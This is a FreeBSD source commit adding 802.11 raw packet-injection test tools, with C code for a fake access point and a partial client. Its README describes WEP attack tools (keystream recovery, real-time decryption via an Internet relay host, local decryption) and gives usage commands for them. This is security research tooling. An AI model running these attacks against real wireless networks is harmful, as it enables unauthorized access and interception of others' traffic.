test programs for 802.11 packet injection

Submitted by:	Andrea Bittau <a.bittau@cs.ucl.ac.uk>
This commit is contained in:
sam 2006-08-05 05:18:03 +00:00
parent 68f1c8859e
commit 9cfa19eab8
17 changed files with 4460 additions and 0 deletions

View File

@ -0,0 +1,5 @@
# $FreeBSD$
SUBDIR= libw00t ap assoc expand prga redir
.include <bsd.subdir.mk>

View File

@ -0,0 +1,11 @@
# $FreeBSD$
W00T= ../libw00t
# NB: we get crc32 from -lz
DPADD= ${W00T}/libw00t.a ${LIBCRYPTO} ${LIBZ}
LDADD= -L${W00T} -lw00t -lcrypto -lz
BINDIR= /usr/local/bin
CFLAGS= -g -I${W00T}
NO_MAN=

View File

@ -0,0 +1,78 @@
$FreeBSD$
This is a collection of tools that use raw 802.11 packet injection.
None of the tools configure the interface, so be sure to run something
like:
ifconfig ath0 channel 7 mediaopt monitor promisc up
beforehand. The following tools are found here:
assoc A wifi client.
ap A wifi access point.
prga Gives ability to transmit on a WEP network.
redir Gives ability to decrypt in real-time on a WEP network, via Internet.
expand Gives ability to decrypt locally on a WEP network.
All these tools depend on:
libw00t Utility functions used by all tools.
Detailed explanation of tools.
==============================
assoc:
Acts as a wifi client. It will associate to a network and bind a
tap interface to it. The interface may be used like a standard eth
interface attached to a normal LAN. Multiple instances of the
program may be run in order to connect to multiple APs simultaneously.
Example:
./assoc -s w00t -t tap0
ifconfig tap0 192.168.0.123 up
ping 192.168.0.1
ap:
The same as assoc, but acts as an access point. Example:
./ap -s w00t -t tap1
ifconfig tap1 192.168.0.1 up
tcpdump -n -i tap1
[For the next set of tools, refer to http://tapir.cs.ucl.ac.uk/bittau-wep.pdf
for theoretical information.]
prga:
Sniff a packet on a WEP network and obtain a keystream. It binds
to a tap interface which may be used to TX packets on that network.
Example:
./prga -b bssid_of_network -t tap0
ifconfig tap0 192.168.0.123 up
ping 192.168.0.1
redir:
Resend WEP packets to our buddy on the Internet. The buddy will
receive the clear-text and send it back to us via a UDP socket.
This data is then fed back into a tap interface. This way, data
may be ultimately be read from the tab iface in clear-text. Example:
[Box on Internet]~# ./buddy
./redir -d buddy_ip -b bssid -t tap0 -r wifi_rtr_mac -s wifi_src_ip -p 666
ifconfig tap0 up
tcpdump -n -i tap0
expand:
Sniff a WEP packet and do the linear keystream expansion trick to
decrypt it. The clear-text packet is sent to a tap interface.
Example:
./expand -b bssid -t tap0
ifconfig tap0 up
tcpdump -n -i tap0

View File

@ -0,0 +1,7 @@
# $FreeBSD$
.include <../Makefile.inc>
PROG= ap
.include <bsd.prog.mk>

View File

@ -0,0 +1,916 @@
/*-
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#include <sys/types.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/endian.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <assert.h>
#include "w00t.h"
struct client {
char mac[6];
int seq;
struct client *next;
};
struct params {
/* fds */
int tx;
int rx;
int tap;
/* ap params */
char mac[6];
char ssid[256];
int chan;
/* beacon */
int bint;
struct timeval blast;
int seq;
/* wep */
int wep_len;
char wep_key[13];
int wep_iv;
struct client *clients;
/* lame window */
char packet[4096];
int packet_len;
int packet_try;
struct timeval plast;
};
void usage(char *name)
{
printf("Usage: %s <opts>\n"
"-h\thelp\n"
"-i\t<iface>\n"
"-s\t<ssid>\n"
"-m\t<mac>\n"
"-w\t<wep key>\n"
"-c\t<chan>\n"
"-t\t<tap>\n"
, name);
exit(0);
}
void fill_basic(struct ieee80211_frame *wh, struct params *p)
{
short *seq;
wh->i_dur[0] = 0x69;
wh->i_dur[1] = 0x00;
memcpy(wh->i_addr2, p->mac, 6);
seq = (short*)wh->i_seq;
*seq = seqfn(p->seq, 0);
}
void send_frame(struct params *p, void *buf, int len)
{
int rc;
rc = inject(p->tx, buf, len);
if (rc == -1)
err(1, "inject()");
if (rc != len) {
printf("injected %d/%d\n", rc, len);
exit(1);
}
p->seq++;
}
int fill_beacon(struct params *p, struct ieee80211_frame *wh)
{
int len;
char *ptr;
ptr = (char*) (wh+1);
ptr += 8; /* timestamp */
ptr += 2; /* bint */
*ptr |= IEEE80211_CAPINFO_ESS;
ptr += 2; /* capa */
/* ssid */
len = strlen(p->ssid);
*ptr++ = 0;
*ptr++ = len;
memcpy(ptr, p->ssid, len);
ptr += len;
/* rates */
*ptr++ = 1;
*ptr++ = 4;
*ptr++ = 2 | 0x80;
*ptr++ = 4 | 0x80;
*ptr++ = 11;
*ptr++ = 22;
/* ds param */
*ptr++ = 3;
*ptr++ = 1;
*ptr++ = p->chan;
return ptr - ((char*) wh);
}
void send_beacon(struct params *p)
{
char buf[4096];
struct ieee80211_frame *wh;
int len;
char *ptr;
wh = (struct ieee80211_frame*) buf;
memset(buf, 0, sizeof(buf));
fill_basic(wh, p);
memset(wh->i_addr1, 0xff, 6);
memcpy(wh->i_addr3, p->mac, 6);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_BEACON;
len = fill_beacon(p, wh);
/* TIM */
ptr = (char*)wh + len;
*ptr++ = 5;
*ptr++ = 4;
len += 2+4;
#if 0
printf("sending beacon\n");
#endif
send_frame(p, wh, len);
if (gettimeofday(&p->blast, NULL) == -1)
err(1, "gettimeofday()");
}
void send_pres(struct params *p, char *mac)
{
char buf[4096];
struct ieee80211_frame *wh;
int len;
wh = (struct ieee80211_frame*) buf;
memset(buf, 0, sizeof(buf));
fill_basic(wh, p);
memcpy(wh->i_addr1, mac, 6);
memcpy(wh->i_addr3, p->mac, 6);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_PROBE_RESP;
len = fill_beacon(p, wh);
printf("sending probe response\n");
send_frame(p, wh, len);
}
void read_preq(struct params *p, struct ieee80211_frame *wh, int len)
{
unsigned char *ptr;
unsigned char *end;
unsigned char macs[6*3];
ptr = (unsigned char*) (wh+1);
/* ssid */
if (*ptr != 0) {
printf("weird pr %x\n", *ptr);
return;
}
ptr++;
end = ptr + (*ptr) + 1;
*end = 0;
ptr++;
mac2str(macs, wh->i_addr2);
printf("Probe request for [%s] from %s\n", ptr, macs);
if ((strcmp(ptr, "") == 0) || (strcmp(ptr, p->ssid) == 0))
send_pres(p, wh->i_addr2);
}
void send_auth(struct params* p, char *mac)
{
char buf[4096];
struct ieee80211_frame *wh;
unsigned short *ptr;
int len;
wh = (struct ieee80211_frame*) buf;
memset(buf, 0, sizeof(buf));
fill_basic(wh, p);
memcpy(wh->i_addr1, mac, 6);
memcpy(wh->i_addr3, p->mac, 6);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_AUTH;
ptr = (unsigned short*) (wh+1);
*ptr++ = htole16(0);
*ptr++ = htole16(2);
*ptr++ = htole16(0);
len = ((char*)ptr) - ((char*) wh);
printf("sending auth\n");
send_frame(p, wh, len);
}
void read_auth(struct params *p, struct ieee80211_frame *wh, int len)
{
unsigned short *ptr;
char mac[6*3];
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
return;
ptr = (unsigned short*) (wh+1);
if (le16toh(*ptr) != 0) {
printf("Unknown auth algo %d\n", le16toh(*ptr));
return;
}
ptr++;
if (le16toh(*ptr) == 1) {
mac2str(mac, wh->i_addr2);
printf("Got auth from %s\n", mac);
send_auth(p, wh->i_addr2);
} else {
printf("Weird seq in auth %d\n", le16toh(*ptr));
}
}
void send_assoc(struct params *p, char *mac)
{
char buf[4096];
struct ieee80211_frame *wh;
char *ptr;
int len;
wh = (struct ieee80211_frame*) buf;
memset(buf, 0, sizeof(buf));
fill_basic(wh, p);
memcpy(wh->i_addr1, mac, 6);
memcpy(wh->i_addr3, p->mac, 6);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_ASSOC_RESP;
ptr = (char*) (wh+1);
*ptr |= IEEE80211_CAPINFO_ESS;
ptr += 2; /* cap */
ptr += 2; /* status */
ptr += 2; /* aid */
/* rates */
*ptr++ = 1;
*ptr++ = 4;
*ptr++ = 2 | 0x80;
*ptr++ = 4 | 0x80;
*ptr++ = 11;
*ptr++ = 22;
len = ptr - ((char*) wh);
printf("sending assoc response\n");
send_frame(p, wh, len);
}
void read_assoc(struct params *p, struct ieee80211_frame *wh, int len)
{
unsigned char *ptr;
unsigned char *end;
unsigned char macs[6*3];
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
return;
ptr = (unsigned char*) (wh+1);
ptr += 2; /* capa */
ptr += 2; /* list interval */
/* ssid */
if (*ptr != 0) {
printf("weird pr %x\n", *ptr);
return;
}
ptr++;
end = ptr + (*ptr) + 1;
*end = 0;
ptr++;
mac2str(macs, wh->i_addr2);
printf("Assoc request for [%s] from %s\n", ptr, macs);
if (strcmp(ptr, p->ssid) == 0)
send_assoc(p, wh->i_addr2);
}
void read_mgt(struct params *p, struct ieee80211_frame *wh, int len)
{
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
read_preq(p, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
break;
case IEEE80211_FC0_SUBTYPE_AUTH:
read_auth(p, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
read_assoc(p, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
case IEEE80211_FC0_SUBTYPE_BEACON:
break;
default:
printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >>
IEEE80211_FC0_SUBTYPE_SHIFT);
abort();
break;
}
}
void send_cts(struct params *p, char *mac)
{
char buf[64];
struct ieee80211_frame *wh;
memset(buf, 0, sizeof(buf));
wh = (struct ieee80211_frame*) buf;
wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_CTS;
wh->i_dur[0] = 0x69;
wh->i_dur[0] = 0x00;
memcpy(wh->i_addr1, mac, 6);
send_frame(p, wh, 10);
}
void read_rts(struct params *p, struct ieee80211_frame *wh, int len)
{
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
return;
send_cts(p, wh->i_addr2);
}
void read_ack(struct params *p, struct ieee80211_frame *wh, int len)
{
if (memcmp(wh->i_addr1, p->mac, 6) == 0)
p->packet_try = 0;
}
void read_ctl(struct params *p, struct ieee80211_frame *wh, int len)
{
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
case IEEE80211_FC0_SUBTYPE_RTS:
read_rts(p, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_ACK:
read_ack(p, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_CTS:
break;
default:
printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >>
IEEE80211_FC0_SUBTYPE_SHIFT);
abort();
break;
}
#if 0
printf("ctl\n");
#endif
}
int broadcast(struct ieee80211_frame *wh)
{
/* XXX multicast */
if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
return 1;
return 0;
}
void enque(struct params *p, struct ieee80211_frame *wh, int len)
{
if (broadcast(wh))
return;
assert(sizeof(p->packet) >= len);
memcpy(p->packet, wh, len);
p->packet_len = len;
p->packet_try = 1;
wh = (struct ieee80211_frame*) p->packet;
wh->i_fc[1] |= IEEE80211_FC1_RETRY;
if (gettimeofday(&p->plast, NULL) == -1)
err(1, "gettimeofday()");
}
void relay_data(struct params *p, struct ieee80211_frame *wh, int len)
{
char seq[2];
char fc[2];
unsigned short *ps;
/* copy crap */
memcpy(fc, wh->i_fc, 2);
memcpy(seq, wh->i_seq, 2);
/* relay frame */
wh->i_fc[1] &= ~(IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_RETRY);
wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS;
memcpy(wh->i_addr1, wh->i_addr3, sizeof(wh->i_addr1));
memcpy(wh->i_addr3, wh->i_addr2, sizeof(wh->i_addr3));
memcpy(wh->i_addr2, p->mac, sizeof(wh->i_addr2));
ps = (unsigned short*)wh->i_seq;
*ps = seqfn(p->seq, 0);
send_frame(p, wh, len);
enque(p, wh, len);
/* restore */
memcpy(wh->i_fc, fc, sizeof(fc));
memcpy(wh->i_addr2, wh->i_addr3, sizeof(wh->i_addr2));
memcpy(wh->i_addr3, wh->i_addr1, sizeof(wh->i_addr2));
memcpy(wh->i_addr1, p->mac, sizeof(wh->i_addr1));
memcpy(wh->i_seq, seq, sizeof(seq));
}
void read_real_data(struct params *p, struct ieee80211_frame *wh, int len)
{
char dst[6];
int rc;
char *ptr = (char*) (wh+1);
/* stuff not for this net */
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
return;
/* relay data */
if (memcmp(wh->i_addr3, p->mac, 6) != 0)
relay_data(p, wh, len);
memcpy(dst, wh->i_addr3, 6);
if (wh->i_fc[1] & IEEE80211_FC1_WEP) {
if (!p->wep_len) {
printf("Got wep but i aint wep\n");
return;
}
if (wep_decrypt(wh, len, p->wep_key, p->wep_len) == -1){
printf("Can't decrypt\n");
return;
}
ptr += 4;
len -= 8;
}
/* ether header */
ptr += 8 - 2;
ptr -= 6;
memcpy(ptr, wh->i_addr2, 6);
ptr -= 6;
memcpy(ptr, dst, 6);
len -= sizeof(*wh);
len -= 8;
len += 14;
/* send to tap */
rc = write(p->tap, ptr, len);
if (rc == -1)
err(1, "write()");
if (rc != len) {
printf("Wrote %d/%d\n", rc, len);
exit(1);
}
}
void read_data(struct params *p, struct ieee80211_frame *wh, int len)
{
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
case IEEE80211_FC0_SUBTYPE_DATA:
read_real_data(p, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_NODATA:
break;
default:
printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >>
IEEE80211_FC0_SUBTYPE_SHIFT);
abort();
break;
}
}
struct client* client_find(struct params *p, char *mac)
{
struct client* c = p->clients;
while (c) {
if (memcmp(c->mac, mac, 6) == 0)
return c;
c = c->next;
}
return NULL;
}
void client_insert(struct params *p, struct client *c)
{
#if 1
do {
char mac[6*3];
mac2str(mac, c->mac);
printf("Adding client %s\n", mac);
} while(0);
#endif
c->next = p->clients;
p->clients = c;
}
int duplicate(struct params *p, struct ieee80211_frame *wh, int rc)
{
struct client *c;
int s;
if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
IEEE80211_FC0_SUBTYPE_DATA))
return 0;
s = seqno(wh);
c = client_find(p, wh->i_addr2);
if (!c) {
c = malloc(sizeof(*c));
if (!c)
err(1, "malloc()");
memset(c, 0, sizeof(*c));
memcpy(c->mac, wh->i_addr2, 6);
c->seq = s-1;
client_insert(p, c);
}
if (wh->i_fc[1] & IEEE80211_FC1_RETRY) {
if ( (s <= c->seq) && ((c->seq - s ) < 5)) {
#if 0
printf("Dup seq %d prev %d\n",
s, c->seq);
#endif
return 1;
}
}
#if 0
do {
char mac[3*6];
mac2str(mac, c->mac);
printf("%s seq %d prev %d\n", mac, s, c->seq);
} while (0);
#endif
c->seq = s;
return 0;
}
void ack(struct params *p, struct ieee80211_frame *wh)
{
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
return;
if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
return;
send_ack(p->tx, wh->i_addr2);
}
void read_wifi(struct params *p)
{
char buf[4096];
int rc;
struct ieee80211_frame *wh;
rc = sniff(p->rx, buf, sizeof(buf));
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return;
/* filter my own shit */
if (memcmp(wh->i_addr2, p->mac, 6) == 0) {
/* XXX CTL frames */
if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) !=
IEEE80211_FC0_TYPE_CTL)
return;
}
#if 1
ack(p, wh);
#endif
if (duplicate(p, wh, rc)) {
#if 0
printf("Dup\n");
#endif
return;
}
switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) {
case IEEE80211_FC0_TYPE_MGT:
read_mgt(p, wh, rc);
break;
case IEEE80211_FC0_TYPE_CTL:
read_ctl(p, wh, rc);
break;
case IEEE80211_FC0_TYPE_DATA:
read_data(p, wh, rc);
break;
default:
printf("wtf\n");
abort();
break;
}
}
void read_tap(struct params *p)
{
char buf[4096];
char *ptr;
int len = sizeof(buf);
int offset;
char src[6], dst[6];
struct ieee80211_frame *wh;
int rd;
ptr = buf;
offset = sizeof(struct ieee80211_frame) + 8 - 14;
if (p->wep_len)
offset += 4;
ptr += offset;
len -= offset;
/* read packet */
memset(buf, 0, sizeof(buf));
rd = read(p->tap, ptr, len);
if (rd == -1)
err(1, "read()");
/* 802.11 header */
wh = (struct ieee80211_frame*) buf;
memcpy(dst, ptr, sizeof(dst));
memcpy(src, ptr+6, sizeof(src));
fill_basic(wh, p);
memcpy(wh->i_addr3, src, sizeof(wh->i_addr3));
memcpy(wh->i_addr1, dst, sizeof(wh->i_addr1));
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS;
if (p->wep_len)
wh->i_fc[1] |= IEEE80211_FC1_WEP;
/* LLC & SNAP */
ptr = (char*) (wh+1);
if (p->wep_len)
ptr += 4;
*ptr++ = 0xAA;
*ptr++ = 0xAA;
*ptr++ = 0x03;
*ptr++ = 0x00;
*ptr++ = 0x00;
*ptr++ = 0x00;
/* ether type overlaps w00t */
rd += offset;
/* WEP */
if (p->wep_len) {
ptr = (char*) (wh+1);
memcpy(ptr, &p->wep_iv, 3);
ptr[3] = 0;
p->wep_iv++;
wep_encrypt(wh, rd, p->wep_key, p->wep_len);
rd += 4; /* ICV */
}
send_frame(p, wh, rd);
}
int retransmit(struct params *p)
{
#if 0
printf("RETRANS %d\n", p->packet_try);
#endif
send_frame(p, p->packet, p->packet_len);
p->packet_try++;
if (p->packet_try > 3)
p->packet_try = 0;
else {
if (gettimeofday(&p->plast, NULL) == -1)
err(1, "gettimeofday()");
}
return p->packet_try;
}
void next_event(struct params *p)
{
struct timeval to, now;
int el;
int max;
fd_set fds;
int rtr = 3*1000;
/* figure out select timeout */
if (gettimeofday(&now, NULL) == -1)
err(1, "gettimeofday()");
/* check beacon timeout */
el = elapsed(&p->blast, &now);
if (el >= p->bint) {
send_beacon(p);
el = 0;
}
el = p->bint - el;
to.tv_sec = el/1000/1000;
to.tv_usec = el - to.tv_sec*1000*1000;
/* check tx timeout */
if (p->packet_try) {
el = elapsed(&p->plast, &now);
if (el >= rtr) {
/* check if we gotta retransmit more */
if (retransmit(p)) {
el = 0;
}
else
el = -1;
}
/* gotta retransmit in future */
if (el != -1) {
el = rtr - el;
if ((to.tv_sec*1000*1000 + to.tv_usec) > el) {
to.tv_sec = el/1000/1000;
to.tv_usec = el - to.tv_sec*1000*1000;
}
}
}
/* select */
FD_ZERO(&fds);
FD_SET(p->rx, &fds);
FD_SET(p->tap, &fds);
max = p->rx > p->tap ? p->rx : p->tap;
if (select(max+1, &fds, NULL, NULL, &to) == -1)
err(1, "select()");
if (FD_ISSET(p->tap, &fds))
read_tap(p);
if (FD_ISSET(p->rx, &fds))
read_wifi(p);
}
int main(int argc, char *argv[])
{
char *iface = "ath0";
char *tap = "tap0";
struct params p;
int ch;
/* default params */
memset(&p, 0, sizeof(p));
memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
strcpy(p.ssid, "sorbo");
p.bint = 500*1000;
p.seq = getpid();
if (gettimeofday(&p.blast, NULL) == -1)
err(1, "gettimeofday()");
p.chan = 3;
while ((ch = getopt(argc, argv, "hi:s:m:w:c:t:")) != -1) {
switch (ch) {
case 'i':
iface = optarg;
break;
case 't':
tap = optarg;
break;
case 'c':
p.chan = atoi(optarg);
break;
case 's':
strncpy(p.ssid, optarg, sizeof(p.ssid)-1);
p.ssid[sizeof(p.ssid)-1] = 0;
break;
case 'm':
str2mac(p.mac, optarg);
break;
case 'w':
if (str2wep(p.wep_key, &p.wep_len, optarg)) {
printf("Error parsing WEP key\n");
exit(1);
}
break;
case 'h':
default:
usage(argv[0]);
break;
}
}
/* init */
if ((p.tx = open_tx(iface)) == -1)
err(1, "open_tx()");
if ((p.rx = open_rx(iface)) == -1)
err(1, "open_rx()");
if ((p.tap = open_tap(tap)) == -1)
err(1, "open_tap()");
if (set_iface_mac(tap, p.mac) == -1)
err(1, "set_iface_mac()");
while (1) {
next_event(&p);
}
exit(0);
}

View File

@ -0,0 +1,7 @@
# $FreeBSD$
.include <../Makefile.inc>
PROG= assoc
.include <bsd.prog.mk>

View File

@ -0,0 +1,938 @@
/*-
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#include <sys/time.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <err.h>
#include <net80211/ieee80211.h>
#include <sys/endian.h>
#include "w00t.h"
enum {
S_START = 0,
S_SEND_PROBE_REQ,
S_WAIT_PROBE_RES,
S_SEND_AUTH,
S_WAIT_AUTH,
S_SEND_ASSOC,
S_WAIT_ASSOC,
S_ASSOCIATED,
S_SEND_DATA,
S_WAIT_ACK
};
struct params {
int seq;
int seq_rx;
char *mac;
char *ssid;
char bssid[6];
char ap[6];
int tx;
int rx;
int tap;
int aid;
char packet[4096];
int packet_len;
int state;
char wep_key[13];
int wep_iv;
int wep_len;
};
void usage(char *pname)
{
printf("Usage: %s <opts>\n"
"-m\t<source mac>\n"
"-s\t<ssid>\n"
"-h\tusage\n"
"-i\t<iface>\n"
"-w\t<wep key>\n"
"-t\t<tap>\n"
"-b\t<bssid>\n"
, pname);
exit(0);
}
void fill_basic(struct ieee80211_frame *wh, struct params *p)
{
short *seq;
wh->i_dur[0] = 0x69;
wh->i_dur[1] = 0x00;
memcpy(wh->i_addr1, p->ap, 6);
memcpy(wh->i_addr2, p->mac, 6);
memcpy(wh->i_addr3, p->bssid, 6);
seq = (short*)wh->i_seq;
*seq = seqfn(p->seq, 0);
}
void send_frame(struct params *p, void *buf, int len)
{
int rc;
rc = inject(p->tx, buf, len);
if (rc == -1) {
if (errno == EMSGSIZE)
warnx("inject(len %d)", len);
else
err(1, "inject(len %d)", len);
} else if (rc != len)
errx(1, "injected %d but only %d sent", rc, len);
p->seq++;
}
void send_probe_request(struct params *p)
{
char buf[2048];
struct ieee80211_frame *wh;
char *data;
int len;
memset(buf, 0, sizeof(buf));
wh = (struct ieee80211_frame*) buf;
fill_basic(wh, p);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_PROBE_REQ;
memset(wh->i_addr1, 0xFF, 6);
memset(wh->i_addr3, 0xFF, 6);
data = (char*) (wh + 1);
*data++ = 0; /* SSID */
*data++ = strlen(p->ssid);
strcpy(data, p->ssid);
data += strlen(p->ssid);
*data++ = 1; /* rates */
*data++ = 4;
*data++ = 2 | 0x80;
*data++ = 4 | 0x80;
*data++ = 11;
*data++ = 22;
len = data - (char*)wh;
send_frame(p, buf, len);
}
void send_auth(struct params *p)
{
char buf[2048];
struct ieee80211_frame *wh;
char *data;
int len;
memset(buf, 0, sizeof(buf));
wh = (struct ieee80211_frame*) buf;
fill_basic(wh, p);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
data = (char*) (wh + 1);
/* algo */
*data++ = 0;
*data++ = 0;
/* transaction no. */
*data++ = 1;
*data++ = 0;
/* status code */
*data++ = 0;
*data++ = 0;
len = data - (char*)wh;
send_frame(p, buf, len);
}
/*
* Add an ssid element to a frame.
*/
static u_int8_t *
ieee80211_add_ssid(u_int8_t *frm, const u_int8_t *ssid, u_int len)
{
*frm++ = IEEE80211_ELEMID_SSID;
*frm++ = len;
memcpy(frm, ssid, len);
return frm + len;
}
void send_assoc(struct params *p)
{
union {
struct ieee80211_frame w;
char buf[2048];
} u;
struct ieee80211_frame *wh;
char *data;
int len, capinfo, lintval;
memset(&u, 0, sizeof(u));
wh = (struct ieee80211_frame*) &u.w;
fill_basic(wh, p);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
data = (char*) (wh + 1);
/* capability */
capinfo = IEEE80211_CAPINFO_ESS;
if (p->wep_len)
capinfo |= IEEE80211_CAPINFO_PRIVACY;
*(uint16_t *)data = htole16(capinfo);
data += 2;
/* listen interval */
*(uint16_t *)data = htole16(100);
data += 2;
data = ieee80211_add_ssid(data, p->ssid, strlen(p->ssid));
*data++ = 1; /* rates */
*data++ = 4;
*data++ = 2 | 0x80;
*data++ = 4 | 0x80;
*data++ = 11;
*data++ = 22;
len = data - (char*)wh;
send_frame(p, u.buf, len);
}
int for_me(struct ieee80211_frame *wh, char *mac)
{
return memcmp(wh->i_addr1, mac, 6) == 0;
}
int from_ap(struct ieee80211_frame *wh, char *mac)
{
return memcmp(wh->i_addr2, mac, 6) == 0;
}
void ack(struct params *p, struct ieee80211_frame *wh)
{
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
return;
if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
return;
send_ack(p->tx, wh->i_addr2);
}
void generic_process(struct ieee80211_frame *wh, struct params *p, int len)
{
int type, stype;
int dup = 0;
#if 0
ack(p, wh);
#endif
#if 0
if (!for_me(wh, p->mac))
return;
#endif
/* ignore my own shit */
if (memcmp(wh->i_addr2, p->mac, 6) == 0) {
return;
}
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
if (for_me(wh, p->mac) && type == IEEE80211_FC0_TYPE_DATA) {
/* sequence number & dups */
if (p->seq_rx == -1)
p->seq_rx = seqno(wh);
else {
int s = seqno(wh);
if (s > p->seq_rx) {
/* normal case */
if (p->seq_rx + 1 == s) {
#if 0
printf("S=%d\n", s);
#endif
p->seq_rx = s;
}
else { /* future */
#if 0
printf("Got seq %d, prev %d\n",
s, p->seq_rx);
#endif
p->seq_rx = s;
}
} else { /* we got pas stuff... */
if (p->seq_rx - s > 1000) {
#if 0
printf("Seqno wrap seq %d, last %d\n",
s, p->seq_rx);
#endif
/* seqno wrapping ? */
p->seq_rx = 0;
}
else { /* dup */
dup = 1;
#if 0
printf("Got dup seq %d, last %d\n",
s, p->seq_rx);
#endif
}
}
}
}
#if 0
if (wh->i_fc[1] & IEEE80211_FC1_RETRY) {
printf("Got retry\n");
}
#endif
#if 0
